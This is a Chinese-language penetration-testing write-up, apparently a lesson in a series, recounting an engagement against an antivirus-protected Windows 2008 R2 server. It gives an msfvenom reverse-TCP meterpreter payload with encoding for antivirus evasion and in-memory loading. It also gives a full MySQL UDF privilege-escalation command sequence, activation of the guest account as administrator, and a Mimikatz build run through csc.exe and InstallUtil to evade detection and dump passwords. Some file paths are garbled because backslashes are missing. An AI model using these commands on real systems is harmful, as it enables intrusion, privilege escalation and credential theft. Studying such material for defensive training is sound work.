第五十一課:項(xiàng)目回憶:體系的本質(zhì)是知識(shí)點(diǎn)串聯(lián)
專注APT攻擊與防御
https://micropoor.blogspot.com/

一次普通的項(xiàng)目,做完后,卻陳思很久,遂打算一氣合成把整個(gè)流程記錄下來(lái),此篇再一次的叮囑我:分享便是我最好的老師。

Micropoor

拿shell過(guò)程略過(guò)。(由于文章在項(xiàng)目實(shí)施結(jié)束形成,故部分無(wú)圖或補(bǔ)圖)

目標(biāo)機(jī)背景:
windows 2008 r2 x64位 360主動(dòng)+360衛(wèi)士+360殺毒+waf,目標(biāo)機(jī)僅支持aspx。運(yùn)行OAWeb服務(wù)(.net+mssql),并且是內(nèi)網(wǎng)中其他服務(wù)器的數(shù)據(jù)庫(kù)服務(wù)器(mysql數(shù)據(jù)庫(kù),不支持php,無(wú).net for mysql 驅(qū)動(dòng))
端口開(kāi)放如下:
需要解決的第一個(gè)問(wèn)題:payload
由于目標(biāo)機(jī),安裝某套裝,payload一定是必須要解決的問(wèn)題。當(dāng)tasklist的時(shí)候,看到如下圖幾個(gè)進(jìn)程的時(shí)候,第一反應(yīng)就是需要做payload分離免殺。分離免殺主要分兩大類,一類為第三方分離免殺,一類為自帶安裝分離免殺。文章中,采取了第三方分離免殺。
本地補(bǔ)圖(由于項(xiàng)目在實(shí)施后形成該文章,故本地靶機(jī)補(bǔ)圖)

目前的反病毒安全軟件,常見(jiàn)有三種,一種基于特征,一種基于行為,一種基于云查殺。云查殺的特點(diǎn)基本也可以概括為特征查殺。無(wú)論是哪種,都是特別針對(duì)PE頭文件的查殺。尤其是當(dāng)payload文件越大的時(shí)候,特征越容易查殺。既然知道了目前的主流查殺方式,那么反制查殺,此篇采取特征與行為分離免殺。避免PE頭文件,并且分離行為,與特征的綜合免殺。適用于菜刀下等場(chǎng)景,也是我在基于windows下為了更穩(wěn)定的一種常用手法。載入內(nèi)存。
0x00:以msf為例:監(jiān)聽(tīng)端口
0x001:這里的payload不采取生成pe文件,而采取shellcode方式,來(lái)借助第三方直接加載到內(nèi)存中。避免行為:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.5 lport=8080 -ex86/shikata_ga_nai -i 5 -f raw > test.c
0x002:既然是shellcode方式的payload,那么需要借助第三方來(lái)啟動(dòng),加載到內(nèi)存。執(zhí)行shellcode,自己寫也不是很難,這里我借用一個(gè)github一個(gè)開(kāi)源:

https://github.com/clinicallyinane/shellcode_launcher/

作者的話:建議大家自己寫shellcode執(zhí)行盒,相關(guān)代碼網(wǎng)上非常成熟。
生成的payload大小如下:476字節(jié)。
世界殺毒網(wǎng):
上線成功。
而關(guān)于自帶安裝分離免殺,請(qǐng)參考我在公司W(wǎng)iki上寫的第六十九課時(shí) payload分離免殺思路第二季

payload反彈到vps的msf上,我的權(quán)限僅僅如下。
需要解決的第二個(gè)問(wèn)題:提權(quán)

參考主機(jī)背景圖,184個(gè)補(bǔ)丁,以及某套裝。遂放棄了exp提權(quán)。

原因1:需要更多的時(shí)間消耗在對(duì)反病毒軟件對(duì)抗。
原因2:目標(biāo)機(jī)補(bǔ)丁過(guò)多。需要消耗更多的時(shí)間
原因3:非常艱難的環(huán)境下,拿到了權(quán)限,不想因?yàn)槟承〆xp導(dǎo)致藍(lán)屏從而丟失權(quán)限。

開(kāi)始翻閱目標(biāo)機(jī)上的文件,以及搜集目標(biāo)機(jī)的端口,服務(wù),啟動(dòng)等一系列信息。發(fā)現(xiàn)目標(biāo)機(jī)安裝mysql,并與內(nèi)網(wǎng)其中一臺(tái)建立大量連接。mysql版本為5.1.49-community-log

下載目標(biāo)機(jī)*..MYI,*.MYD,*.frm,加載于本地mysql。得到目標(biāo)機(jī)root密碼
而目標(biāo)機(jī)沒(méi)有相關(guān)腳本環(huán)境連接mysql,到這里,可以有2個(gè)方向針對(duì)該問(wèn)題作出解決

一:轉(zhuǎn)發(fā)目標(biāo)機(jī)端口到本地,從而操作mysql。
二:在非交互式下,完成mysql udf的提權(quán)。

為了減少目標(biāo)主機(jī)的流量探測(cè),以及維護(hù)來(lái)之不易的session,故選擇了第二種方案。非交互式下,mysql提權(quán)。

命令行下,調(diào)用mysql是需要在啟動(dòng)一個(gè)mysql窗口,從而繼續(xù)執(zhí)行,而session下沒(méi)有這樣條件。但mysql的 -e參數(shù) 作為直接執(zhí)行sql語(yǔ)句,從而不另啟動(dòng)窗口。而-e需要注意的事項(xiàng),use database。也就是所有參數(shù)需要mysql.xxxx
如沒(méi)有指定database,將會(huì)出現(xiàn)如下錯(cuò)誤,而使用UNION,將不會(huì)有回顯,一定出現(xiàn)問(wèn)題,將會(huì)很難定位,故選擇以mysql.x的方式指定。
大致流程如下:

mysql -uroot -pXXXXXX -e "create table mysql.a (cmd LONGBLOB);"
mysql -uroot -pXXXXXX -e "insert into mysql.a (cmd) values
(hex(load_file('D:XXXXXXXXXXmysql5libpluginu.dll')));"
mysql -uroot -pXXXXXX -e "SELECT unhex(cmd) FROM mysql.a INTO DUMPFILE
'D:/XXXXXXXXXX/mysql5/lib/plugin/uu.dll';"
mysql -uroot -pXXXXXX -e "CREATE FUNCTION shell RETURNS STRING SONAME 'uu.dll'"
mysql -uroot -pXXXXXX -e "select shell('cmd','whoami');"
需要解決的第三個(gè)問(wèn)題:登錄服務(wù)器

在有套裝的環(huán)境下,默認(rèn)攔截cmd下加帳號(hào),而目前又無(wú)法抓取系統(tǒng)登錄明文。mimikatz被查殺。cmd下調(diào)用powershell被攔截。遂選擇激活guest帳號(hào),并提升到administrators組,來(lái)臨時(shí)登錄目標(biāo)機(jī)。
socks代理登錄目標(biāo)機(jī):
需要解決的第四個(gè)問(wèn)題:抓取目標(biāo)機(jī)明文密碼

登錄服務(wù)器后,目前依然不知道目標(biāo)機(jī)的密碼。這里有兩種方向來(lái)解決該問(wèn)題。
一:關(guān)閉我能關(guān)閉的套裝,由于管理員沒(méi)有注銷登錄。能關(guān)閉的有限。
二:分離免殺做mimikatz密碼抓取

作者選擇了第二種方案:

這里需要用到csc.exe,與InstallUtil.exe

關(guān)于兩個(gè)文件默認(rèn)安裝位置:(注意x32,x64區(qū)別)
C:WindowsMicrosoft.NETFramework
C:WindowsMicrosoft.NETFramework64
C:WindowsMicrosoft.NETFramework
C:WindowsMicrosoft.NETFramework64
分別執(zhí)行:
C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe
/r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library
/out:Micropoor.exe /keyfile:C:UsersJohnnDesktopinstallutil.snk /unsafe
C:UsersJohnnDesktopmimi.cs
C:WindowsMicrosoft.NETFramework64v4.0.30319InstallUtil.exe /logfile=
/LogToConsole=false /U C:UsersJohnnDesktopMicropoor.exe
派生出的第五個(gè)問(wèn)題:橫向滲透

關(guān)于第五個(gè)問(wèn)題,本意并不是該篇幅所要講述的,后續(xù)是搜集目標(biāo)機(jī)的mssql,mysql,rdp密碼。搜集所在內(nèi)網(wǎng)的拓?fù)?來(lái)輔助本次的橫向擴(kuò)展。便完成了本次的項(xiàng)目。如需具體,請(qǐng)參考我在Wiki上的系列教程78,79,12,13,71課時(shí)。
后者的話:

本次的整個(gè)流程,并沒(méi)有遇到太多的問(wèn)題,僅僅是把幾個(gè)知識(shí)點(diǎn)的串聯(lián)起來(lái),形成的一個(gè)完整的滲透。也許你了解知識(shí)點(diǎn)1,也了解知識(shí)點(diǎn)2,還了解知識(shí)點(diǎn)3等等。但是一次完整的項(xiàng)目是離不開(kāi)每一個(gè)知識(shí)點(diǎn)的串聯(lián)與靈活運(yùn)用。這應(yīng)該是每一個(gè)信息安全從業(yè)人員值得思考的問(wèn)題。在每次分享的同時(shí),深深發(fā)現(xiàn),原來(lái)分享,才是我最好的老師。

Micropoor
?